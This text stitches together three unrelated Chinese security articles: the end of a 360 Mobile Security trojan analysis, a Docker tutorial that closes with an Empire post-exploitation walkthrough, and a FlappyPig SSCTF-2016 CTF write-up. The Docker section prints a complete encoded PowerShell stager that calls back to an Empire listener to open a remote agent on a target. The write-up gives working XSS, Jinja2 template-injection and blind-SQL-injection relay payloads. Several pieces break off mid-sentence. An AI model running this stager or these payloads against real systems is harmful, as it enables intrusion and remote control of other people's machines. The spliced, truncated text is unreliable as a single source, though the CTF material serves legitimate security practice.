* Mtkfb –mt658x & mt6592[[4](https://github.com/ele7enxxh/MtkfbExploit)]
**五、溯源**
**1、C &C服务器关系**
360移动安全团队在分析“舞毒蛾”木马C&C服务器过程中，发现与木马私自下载、更新、推广功能相关的多个服务器，都是由xiansheng
xu注册，注册邮箱：[[email protected]](mailto:[email protected])；与核心模块下载相关的服务器，都是由Qiong
Yang注册，注册邮箱：[[email protected]](mailto:[email protected])。推广服务器域名关系如下图：
[](https://blogs.360.cn/360mobile/files/2016/03/22-CC%E5%85%B3%E7%B3%BB%E5%9B%BE.jpg)
**六、总结**
360移动安全团队研究发现，联网下载带有提权功能的恶意包是木马出现的新趋势。这类木马结构复杂，一旦某个模块被删除，其他模块还会实现功能替补，达到各功能模块互相保护，难以彻底清除。360手机卫士的手机急救箱提供了完美的解决方案，可以有效针对此类木马查杀及系统文件修复，用户可以通过360手机卫士的手机急救箱彻底查杀。我们将继续关注此类安全威胁。
360手机卫士的手机急救箱查杀截图
[](https://blogs.360.cn/360mobile/files/2016/03/23-%E6%80%A5%E6%95%91%E7%AE%B1%E6%9F%A5%E6%9D%80%E6%88%AA%E5%9B%BE.png)
**360手机卫士下载地址：http://shouji.360.cn/**
**手机急救箱下载地址： http://jijiu.360.cn/** | 社区文章 |
## Author：zeroyu
### 概念
Docker镜像：一个只读模板，是创建Docker容器的基础。镜像文件是由多个层组成的。
Docker容器：一个轻量级沙箱，来运行和隔离应用
Docker仓库：用来存储Docker镜像文件的地方
Docker中用于区分的方式是id或者name:tag
### 安装
官方文档：<https://docs.docker.com/>
### 操作镜像
#### 1.获取镜像（默认是从docker hub网站进行镜像的获取）
docker pull kalilinux/kali-linux-docker
#如果想使用非官方仓库需要指定仓库完整的地址
docker pull hub.c.163.com/public/ubuntu:14.04
建议：使用中科大镜像源 `https://docker.mirrors.ustc.edu.cn`
附带：[在国内 docker build 的正确姿势](https://segmentfault.com/a/1190000006146697)
#### 2.列出镜像
➜ ~ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
kalilinux/kali-linux-docker latest 8ececeaf404d 9 months ago 1.56GB
REPOSITORY:来自哪个仓库
TAG:镜像的标签信息，能标示来自同一仓库的不同镜像
IMAGE ID:镜像的ID，此字段唯一标示了镜像
CREATED:创建时间
SIZE:镜像的大小
#### 3.添加镜像标签
#对kalilinux/kali-linux-docker:latest添加新的标签kalilinux:latest
➜ ~ docker tag kalilinux/kali-linux-docker:latest kalilinux:latest
#别名不一样但是两者的镜像文件是一样的（id相同）
➜ ~ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
kalilinux/kali-linux-docker latest 8ececeaf404d 9 months ago 1.56GB
kalilinux latest 8ececeaf404d 9 months ago 1.56GB
#### 4.查看详细信息
➜ ~ docker inspect kalilinux:latest
[
{
"Id": "sha256:8ececeaf404d5d63d4e9bf870f4340516f3be040e5db6c005ac8cf96d2c43536",
"RepoTags": [
"kalilinux/kali-linux-docker:latest",
"kalilinux:latest"
],
"RepoDigests": [
"kalilinux/kali-linux-docker@sha256:2ebc75f51fa4937340a0d3b4fe903c60aad23866b8c9e1fae80ad7372e01b71d"
],
......
"Metadata": {
"LastTagTime": "2017-12-02T04:56:53.8185955Z"
}
}
]
#### 5.查看镜像历史
➜ ~ docker history kalilinux:latest
IMAGE CREATED CREATED BY SIZE COMMENT
8ececeaf404d 9 months ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0B
<missing> 9 months ago /bin/sh -c apt-get -y update && apt-get -y... 251MB
<missing> 9 months ago /bin/sh -c #(nop) ENV DEBIAN_FRONTEND=non... 0B
<missing> 9 months ago /bin/sh -c echo "deb http://http.kali.org/... 134B
<missing> 9 months ago /bin/sh -c #(nop) MAINTAINER [email protected] 0B
<missing> 11 months ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0B
<missing> 11 months ago /bin/sh -c apt-get -y update && apt-get -y... 286MB
#### 6.搜索镜像
#搜索所有自动创建的评价为1+的带kali关键字的镜像
➜ ~ docker search --automated -s 3 kali
Flag --automated has been deprecated, use --filter=is-automated=true instead
Flag --stars has been deprecated, use --filter=stars=3 instead
NAME DESCRIPTION STARS OFFICIAL AUTOMATED
kalilinux/kali-linux-docker Kali Linux Rolling Distribution Base Image 361 [OK]
linuxkonsult/kali-metasploit Kali base image with metasploit 54 [OK]
jasonchaffee/kali-linux Kali Linux Docker Container with the kali-... 8 [OK]
brimstone/kali 6 [OK]
adamoss/kali2-metasploit Kali2 Automated Build 4 [OK]
wsec/kali-metasploit Official Kali Base image + Metasploit 3 [OK]
kalinon/comicstreamer ComicStreamer is a media server app for sh... 3 [OK]
#### 7.删除镜像
#如果同一个标签有多个tag，那么docker rmi只是删除tag而已
#如果docker rmi id的话，会先删除所有的tag然后删除镜像
#但是若该镜像的容器存在，也是无法删除的，如果想强制删除可以使用docker rmi -f id
➜ ~ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
kalilinux/kali-linux-docker latest 8ececeaf404d 9 months ago 1.56GB
kalilinux latest 8ececeaf404d 9 months ago 1.56GB
➜ ~ docker rmi kalilinux/kali-linux-docker:latest
Untagged: kalilinux/kali-linux-docker:latest
Untagged: kalilinux/kali-linux-docker@sha256:2ebc75f51fa4937340a0d3b4fe903c60aad23866b8c9e1fae80ad7372e01b71d
➜ ~ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
kalilinux latest 8ececeaf404d 9 months ago 1.56GB
#### 8.创建镜像
1）基于已有镜像的容器创建
#我们先创建容器并安装metasploit-framework
➜ ~ docker run -it kalilinux:latest /bin/bash
root@de573c5f5dc6:/# apt update && apt install metasploit-framework
root@de573c5f5dc6:/#exit
#记住id为de573c5f5dc6
#docker commit -m "改动信息" -a "作者名称" id REPOSITORY:TAG
➜ ~ docker commit -m "install msf" -a "zeroyu" de573c5f5dc6 kalilinux:0.1
sha256:66a6770d79d88c826b2e4a38b98037c14de0b9d2ce897307dc30afbf675ce51a
➜ ~ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
kalilinux 0.1 66a6770d79d8 21 seconds ago 2.54GB
kalilinux latest 8ececeaf404d 9 months ago 1.56GB
2）基于本地模板导入
docker import ...
#### 9.存出和载入镜像
1）存出镜像
docker save -o docker_for_msf.tar kalilinux:0.1
2）载入镜像
docker load --input docker_for_msf.tar
#或则
docker load < docker_for_msf.tar
#### 10.上传镜像
docker push kalilinux:0.1
### 操作容器
#### 1.创建容器
1）新建容器
#docker create新建的容器处于静止，可以使用docker start来启动它
#-i 保持标准输入打开 -t分配一个伪终端
➜ ~ docker create -it kalilinux:0.1
2bc48b88a424c8056fe9e6311848d5850c4e46008feec99ee095bc341ae9adaf
#查看处于终止状态的容器
➜ ~ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2bc48b88a424 kalilinux:0.1 "/bin/bash" 7 seconds ago Created frosty_poitras
de573c5f5dc6 kalilinux:latest "/bin/bash" 5 hours ago Exited (0) 5 hours ago happy_goldberg
2）启动容器
#docker start id 启动相应的容器
#docker ps 查看运行中的容器
➜ ~ docker start 2bc48b88a424
2bc48b88a424
➜ ~ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2bc48b88a424 kalilinux:0.1 "/bin/bash" 9 minutes ago Up 8 seconds frosty_poitras
3）新建并启动容器
#docker run = docker create + docker start
#run的过程：1.检查镜像是否存在，不存在就下载；2.用镜像创建容器；挂载可读写层；3.分配虚拟接口
#4.分配IP；5.运行指定程序；6.执行完自动终止
➜ ~ docker run kalilinux:0.1 /bin/echo 'zeroyu'
zeroyu
➜ ~ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d6a6045c4f8b kalilinux:0.1 "/bin/echo zeroyu" 3 minutes ago Exited (0) 3 minutes ago cocky_kirch
➜ ~ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
#常用命令如下
➜ ~ docker run -it kalilinux:0.1 /bin/bash
root@2ed8aa5354f1:/# ps
PID TTY TIME CMD
1 pts/0 00:00:00 bash
7 pts/0 00:00:00 ps
root@2ed8aa5354f1:/# exit
exit
#推出后自动处于终止状态
➜ ~ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2ed8aa5354f1 kalilinux:0.1 "/bin/bash" About a minute ago Exited (0) 48 seconds ago goofy_bardeen
4）守护态运行
#在后台运行容器
➜ ~ docker run -d kalilinux:0.1 /bin/sh -c "while true ; do echo zeroyu ; sleep 1 ; done"
88f12c0725a466ba6d8f08f34fc8e9ac263ecafdff0a9e7282d7e9bb4073e6a0
➜ ~ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
88f12c0725a4 kalilinux:0.1 "/bin/sh -c 'while..." 7 seconds ago Up 7 seconds sleepy_kowalevski
➜ ~ docker logs 88f12c0725a4
zeroyu
zeroyu
zeroyu
......
#### 2.终止容器
#id为88f12c0725a4但是可以使用前几位来简单表示
➜ ~ docker stop 88
88
#查看所有处于终止态的id
➜ ~ docker ps -qa
073ff4e1dac7
#处于终止状态可以使用start来重新启动
➜ ~ docker start 073
073
➜ ~ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
073ff4e1dac7 kalilinux:0.1 "/bin/sh -c 'while..." About a minute ago Up About a minute cranky_benz
#restart可以先终止再重新启动
➜ ~ docker restart 073
073
#### 3.进入容器
处于守护态（-d参数）的容器会在后台运行，但是你无法到信息，也无法进行操作。此时，要进入容器进行工作，要使用attach或者exec命令。
1） 使用attach命令
#容器还可以使用name来唯一辨识
➜ ~ docker run -itd kalilinux:0.1
77e93d18a6a547c85d86925a0bf3c4ae734eec6fe235ae1c3fe0f19822f14360
➜ ~ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
77e93d18a6a5 kalilinux:0.1 "/bin/bash" 20 seconds ago Up 21 seconds stupefied_gates
➜ ~ docker attach stupefied_gates
root@77e93d18a6a5:/#
2）使用exec命令
➜ ~ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
77e93d18a6a5 kalilinux:0.1 "/bin/bash" 5 minutes ago Exited (0) About a minute ago stupefied_gates
➜ ~ docker start 77e
77e
➜ ~ docker exec -it 77e93d18a6a5 /bin/bash
root@77e93d18a6a5:/#
#### 4.删除容器
➜ ~ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
77e93d18a6a5 kalilinux:0.1 "/bin/bash" 7 minutes ago Up About a minute stupefied_gates
➜ ~ docker rm 77e93d18a6a5
Error response from daemon: You cannot remove a running container 77e93d18a6a547c85d86925a0bf3c4ae734eec6fe235ae1c3fe0f19822f14360. Stop the container before attempting removal or force remove
➜ ~ docker stop 77e93d18a6a5
77e93d18a6a5
➜ ~ docker rm 77e93d18a6a5
77e93d18a6a5
#### 5.导入和导出容器
#导出容器
#无论这个容器是否正在运行都是可以导出的
➜ ~ docker export -o test.tar 77e93d18a6a5
#或者执行
➜ ~ docker export 77e93d18a6a5 > test.tar
#导入容器
➜ ~ docker import test.tar - test/kalilinux:v1.0
### Docker数据管理
#使用-v标记挂在本地的tmp目录到容器中的/opt/tmp_test
#使用rw（默认也是这种方式）来指定可读写
#下面的#表示的不是注释
➜ ~ docker run -it -P --name db -v /tmp:/opt/tmp_test:rw kalilinux:0.1 /bin/sh
# ls
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
# cd opt
# ls
tmp_test
# cd tmp_test
# ls
com.apple.launchd.0fGM76e6ao com.apple.launchd.UWfVYRXkwo powerlog
com.apple.launchd.AkQGotnulN pip-FfQw68-unpack zeroyu.txt
#
### Docker端口映射
#-P是指映射到任意端口
#-p加端口号，则将端口映射到所有地址的相应端口
➜ ~ docker run -it -d -p 5000:5000 kalilinux:v0.2
23e91a40cb124720b1dba81371a275169124cbff2778120b4350470fa79a0d91
➜ ~ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
23e91a40cb12 kalilinux:v0.2 "/bin/bash" 12 seconds ago Up 11 seconds 0.0.0.0:5000->5000/tcp boring_volhard
➜ ~ docker attach boring_volhard
root@23e91a40cb12:/# cd home/Empire/
root@23e91a40cb12:/home/Empire# ls
LICENSE README.md changelog data empire lib setup
root@23e91a40cb12:/home/Empire#
#### 附例
在vps中的docker上使用empire进行渗透测试(metasploit同理)
#端口映射参考上条
================================================================
[Empire] Post-Exploitation Framework
================================================================
[Version] 2.3 | [Web] https://github.com/empireProject/Empire
================================================================
_______ .___ ___. .______ __ .______ _______
| ____|| \/ | | _ \ | | | _ \ | ____|
| |__ | \ / | | |_) | | | | |_) | | |__
| __| | |\/| | | ___/ | | | / | __|
| |____ | | | | | | | | | |\ \----.| |____
|_______||__| |__| | _| |__| | _| `._____||_______|
282 modules currently loaded
0 listeners currently active
0 agents currently active
(Empire) > help
Commands
========
agents Jump to the Agents menu.
creds Add/display credentials to/from the database.
exit Exit Empire
help Displays the help menu.
interact Interact with a particular agent.
list Lists active agents or listeners.
listeners Interact with active listeners.
load Loads Empire modules from a non-standard folder.
preobfuscate Preobfuscate PowerShell module_source files
reload Reload one (or all) Empire modules.
reset Reset a global option (e.g. IP whitelists).
resource Read and execute a list of Empire commands from a file.
searchmodule Search Empire module names/descriptions.
set Set a global option (e.g. IP whitelists).
show Show a global option (e.g. IP whitelists).
usemodule Use an Empire module.
usestager Use an Empire stager.
(Empire) > list
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
Name: HTTP[S]
Category: client_server
Authors:
@harmj0y
Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.
HTTP[S] Options:
Name Required Value Description
---- -------- ------- ----------- SlackToken False Your SlackBot API token to communicate with your Slack instance.
ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True http Name for the listener.
Launcher True powershell -noP -sta -w 1 -enc Launcher string.
DefaultDelay True 5 Agent delay/reach back interval (in seconds).
DefaultLostLimit True 60 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host True http://172.17.0.2:80 Hostname/IP for staging.
CertPath False Certificate path for https listeners.
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
Proxy False default Proxy to use for request (default, none, or other).
UserAgent False default User-agent string to use for the staging request (default, none, or other).
StagingKey True 3ab47284cf7e260541d810beb54d3405 Staging key for initial agent negotiation.
BindIP True 0.0.0.0 The IP to bind to on the control server.
Port True 80 Port for the listener.
ServerVersion True Microsoft-IIS/7.5 Server header for the control server.
StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php
(Empire: listeners/http) > set Name docker
#此处的172.16.188.1为vps的ip地址
(Empire: listeners/http) > set Host http://172.16.188.1:5000
(Empire: listeners/http) > execute
[*] Starting listener 'docker'
[+] Listener successfully started!
(Empire: listeners/http) > lsit
*** Unknown syntax: lsit
(Empire: listeners/http) > back
(Empire: listeners) > list
[*] Active listeners:
Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ -------- docker http http://172.16.188.1:5000 5/0.0
(Empire: listeners) > usestager
multi/bash osx/dylib osx/teensy windows/launcher_sct
multi/launcher osx/jar windows/bunny windows/launcher_vbs
multi/pyinstaller osx/launcher windows/dll windows/macro
multi/war osx/macho windows/ducky windows/macroless_msword
osx/applescript osx/macro windows/hta windows/teensy
osx/application osx/pkg windows/launcher_bat
osx/ducky osx/safari_launcher windows/launcher_lnk
(Empire: listeners) > usestager windows/d
dll ducky
(Empire: listeners) > usestager windows/dll
(Empire: stager/windows/dll) > info
Name: DLL Launcher
Description:
Generate a PowerPick Reflective DLL to inject with
stager code.
Options:
Name Required Value Description
---- -------- ------- ----------- Listener True Listener to use.
ProxyCreds False default Proxy credentials
([domain\]username:password) to use for
request (default, none, or other).
Obfuscate False False Switch. Obfuscate the launcher
powershell code, uses the
ObfuscateCommand for obfuscation types.
For powershell only.
Proxy False default Proxy to use for request (default, none,
or other).
Language True powershell Language of the stager to generate.
OutFile True /tmp/launcher.dll File to output dll to.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
Arch True x64 Architecture of the .dll to generate
(x64 or x86).
ObfuscateCommand False Token\All\1 The Invoke-Obfuscation command to use.
Only used if Obfuscate switch is True.
For powershell only.
StagerRetries False 0 Times for the stager to retry
connecting.
(Empire: stager/windows/dll) > set Listener docker
(Empire: stager/windows/dll) > back
(Empire: listeners) > launcher powershell docker
powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAFIAcwBpAE8AbgBUAEEAYgBMAEUALgBQAFMAVgBFAHIAcwBJAE8ATgAuAE0AQQBKAE8AUgAgAC0ARwBlACAAMwApAHsAJABHAFAAUwA9AFsAUgBFAGYAXQAuAEEAcwBzAEUATQBCAGwAWQAuAEcARQBUAFQAWQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAEkARQBgAGwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBFAFQAVgBBAGwAdQBlACgAJABOAFUAbABsACkAOwBJAGYAKAAkAEcAUABTAFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQARwBQAFMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAA7ACQARwBQAFMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnAF0APQAwAH0ARQBMAHMAZQB7AFsAUwBDAHIAaQBQAFQAQgBsAG8AYwBrAF0ALgAiAEcARQBUAEYASQBFAGAAbABEACIAKAAnAHMAaQBnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAEEAbAB1AEUAKAAkAG4AVQBsAGwALAAoAE4AZQBXAC0ATwBCAGoAZQBDAFQAIABDAG8ATABsAEUAYwBUAGkAbwBOAHMALgBHAEUATgBlAFIAaQBDAC4ASABBAHMASABTAEUAVABbAFMAdAByAEkAbgBHAF0AKQApAH0AWwBSAEUAZgBdAC4AQQBzAFMARQBtAEIATAB5AC4ARwBFAFQAVAB5AFAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAEkARQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQBUAFYAQQBMAFUAZQAoACQAbgB1AGwAbAAsACQAVABSAHUAZQApAH0AOwB9ADsAWwBTAFkAcwB0AEUAbQAuAE4ARQB0AC4AUwBFAFIAdgBpAEMAZQBQAG8ASQBOAFQATQBBAG4AYQBnAEUAcgBdADoAOgBFAFgAcABlAEMAVAAxADAAMABDAE8AbgB0AGkAbgBVAEUAPQAwADsAJAB3AEMAPQBOAGUAVwAtAE8AQgBqAGUAQwB0ACAAUwB5AFMAVABlAE0ALgBOAGUAVAAuAFcARQBiAEMATABJAEUAbgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7ACQAdwBDAC4ASABFAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBjAC4AUAByAE8AWABZAD0AWwBTAFkAUwB0AGUAbQAuAE4AZQB0AC4AVwBFAGIAUgBFAFEAVQBlAFMAVABdADoAOgBEAEUAZgBBAHUAbABUAFcAZQBCAFAAcgBPAFgAeQA7ACQAdwBDAC4AUABSAG8AWABZAC4AQwByAGUAZABFAG4AdABpAGEATABzACAAPQAgAFsAUwBZAFMAdABlAE0ALgBOAGUAVAAuAEMAcgBlAGQAZQBuAFQASQBhAGwAQwBhAGMASABlAF0AOgA6AEQAZQBGAGEAVQBMAFQATgBFAFQAVwBvAHIASwBDAHIAZQBEAEUATgB0AEkAYQBMAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUATQAuAFQAZQB4AFQALgBFAE4AQwBPAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgBZAFQAZQBTACgAJwAzAGEAYgA0ADcAMgA4ADQAYwBmADcAZQAyADYAMAA1ADQAMQBkADgAMQAwAGIAZQBiADUANABkADMANAAwADUAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAUgBnAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBOAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgBYAG8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABzAGUAcgA9ACcAaAB0AHQAcAA6AC8ALwAxADcAMgAuADEANgAuADEAOAA4AC4AMQA6ADUAMAAwADAAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQAVwBjAC4ASABFAEEAZABlAHIAUwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AUgAvAGoAMwAxAEkAYwBRAGQAZQAzAEYANwB2AGoAWABYADIAbgBwADYARQAyAFcAcQBiAGMAPQAiACkAOwAkAEQAYQBUAEEAPQAkAFcAQwAuAEQAbwBXAE4AbABvAEEARABEAGEAVABBACgAJABzAEUAcgArACQAdAApADsAJABpAHYAPQAkAEQAQQBUAGEAWwAwAC4ALgAzAF0AOwAkAGQAQQBUAEEAPQAkAGQAQQB0AGEAWwA0AC4ALgAkAEQAQQB0AGEALgBsAGUATgBHAHQASABdADsALQBKAE8AaQBuAFsAQwBIAEEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
#在目标机器上执行上面的payload就可以得到下面的反弹
(Empire: listeners) > [+] Initial agent G3BYNCLW from 172.17.0.1 now active (Sla | 社区文章 |
# FlappyPig SSCTF-2016 Writeup
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
****
**FlappyPig SSCTF-2016 Writeup**
**Web**
**100 Up!Up!Up!**
这道题比较坑啊… 后来还看chu总在微博上吐槽：上传过滤还能这么写啊..
其实这道题是从逐浪CMS一个漏洞演化来的，翻了好久的乌云.. 最终找到了
[http://www.wooyun.org/bugs/wooyun-2015-0125982](http://www.wooyun.org/bugs/wooyun-2015-0125982)
只要将multipart/form-data的大小写改下就可以上传php文件了
Flag：SSCTF{d750aa9eb742bde8c65bc525f596623a}
**
**
**200 Can You Hit Me？**
队友说这是Augularjs.. 然后去补习了下
google发现了一遍博文，里面带有一些payload
[http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)
通过文章里提供的payload构造自己的payload
xss={{%27a%27.coonnstructor.prototype.charAt=[].join;$evevalal(%22m=1)%20}%20};alalertert(123)//%22};}}
成功弹窗，最好把payload发给主办方就可以得到Flag
SSCTF{4c138226180306f21ceb7e7ed1158f08}
**
**
**300 Legend？Legend！**
这道题通过尝试注入报错判断是SQL注入，但是用尽了姿势都没有搞定，于是猜想是不是什么高逼格的数据库.. 果然，是一个MongoDB
http://drops.wooyun.org/tips/3939
根据文章构造payload，读取user表中的第一条。
尝试提交MD5..不对 然后登陆邮箱 发现了一个假的flag..
还有神奇的xss
最后终于找到了正确的flag
**
**
**400 Flag-Man**
登录github授权，然后发现在Your Profile中的Name是控制/users中的name
Name是可控制的,遍历目录 最后读取文件 得到flag
参见[http://drops.wooyun.org/web/13057](https://mail.qq.com/cgi-bin/mail_spam?action=check_link&spam=0&spam_src=1&mailid=ZC0429-wnFNyJpt0_YlZ2g~GkPKD62&url=http%3A%2F%2Fdrops%2Ewooyun%2Eorg%2Fweb%2F13057)
payload:
{%for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__ == 'catch_warnings'%}{{c.__init__.func_globals['linecache'].__dict__['__builtins__'].open('ssctf.py').read()}}{%endif%}{%endfor%}
更改完之后 访问user目录 得到flag
**500 AFSRC-Market**
这道题一直没思路.. 凌晨一点多的时候突然放了提示
（让不让人睡觉了啊！摔）
注入在add_cart.php页面，提交id=xxx cost为0 判断有注入，但是不能直接得到数据。于是中转注入
$opts = array ('http' => array ('header'=>'Cookie: PHPSESSID=1;'));
$context = stream_context_create($opts);
$html = file_get_contents('http://edb24e7c.seclover.com/add_cart.php?id=0x'.bin2hex($_GET[x]), false, $context);
$html = file_get_contents('http://edb24e7c.seclover.com/userinfo.php', false, $context);
preg_match('/cost: (.*?)</p>/is',$html,$res);
echo $res[1]==0 ? 0 : 1;
注出来一个提示页面
根据提示注自己的token 然后爆破salt 按步骤走最终得到Flag
**Reverse**
**100 Re1**
这个题一开始想难了。Apk拖入jeb，主类是Seclreg，初始化函数如下，主要是加了两个监听
重点看sign_btn的监听函数，如下这一行做了一个des加密，加密数据为secl-007，注意c后面是l不是1.；密钥是A7B7C7D7E7F70717进行了一些变换，加密结果暂时不管。
重点的判断语句在下图的这行，用户名需要是secl-007，密码和上述加密结果传入lib进行进一步判断。
Ida打开libplokm.so，定位到getp函数，本函数第一个参数是加密后的结果，第二个参数是输入的密码。大概浏览了一眼，函数没有对密码做任何修改，定位到最后的比较语句，如下图，发现密码需要有39位。
此时直接gdb挂上，查看该调用传入的第一个参数就是flag（其实是两遍flag）。
**
**
**200 Re2**
这个程序主要是建立了多个线程，所有的变换都是在线程中进行的。由比较的地方一点点往前逆推。
比较坑的地方如下，8个字节变成1个字节，信息缺失这么多。解应该很多。
写了个脚本算了几组可能的解，刚好flag就在里面。
def BIN(s):
return ''.join([format(ord(x),'08b') for x in str(s)])
key = 'c678d6g64307gf4g`b263473ge35b5`9'
#a2b3dcab | aabbd4a3 | b2a3ccbb | baabc4b3
valuess = ['a2b3dcab' , 'aabbd4a3' , 'b2a3ccbb' , 'baabc4b3']
for value in valuess:
value = value.decode('hex')
s2 = BIN(value)
#print s2
res = ''
for i in range(32):
if s2[i] == '1':
res += chr(ord(key[i])^1)
else:
res += key[i]
print res
**300 Re3**
上来逆向发现
atoi(input)=2453148193
md5(input)=4850B7446BBB20AAD140E7B0A964A57D
难道要暴力跑？
后来，查看了下资源，发现有两个按钮，修改0x40162d处指令为push 1，运行可以看到。
具体算法比较简单，写了个代码解了下。
res = "b5h760h64R867618bBwB48BrW92H4w5r"
ddd = 'chmrwbglqvafkpuzejotydinsx'
dicts = {}
for i in range(26):
dicts[ddd[i]]=(ord('a')+i)
#dicts[chr((ord('a')+i))]=ord(ddd[i])
res2 = ''
for i in range(32):
c = ord(res[i])
if (c >= 0x30)&(c<=0x39):
res2 += res[i]
elif (c>=ord('a'))&(c<=ord('z')):
res2 += chr(dicts[res[i]])
elif (c>=ord('A'))&(c<=ord('Z')):
res2 += chr(dicts[chr(ord(res[i])+0x20)]-0x20)
print res2
**400 Re4**
求pass1.
from zio import *
key = '279568f747011870997268b35c9bde08bf5ef126936d8ae0a0c4052dff'.decode('hex')
print HEX(key)
value = '7C CD 01 97 06 6F 2C 29 FC 31 09 DC 1D F5 8F 7D DE 30 B6 49 FD 0A D9 89 FD 9F 4D 7D A2 '.replace(' ', '').decode('hex')
res = ''
print len(key)
print len(value)
for i in range(len(key)):
res += chr(ord(key[i])^ord(value[i]))
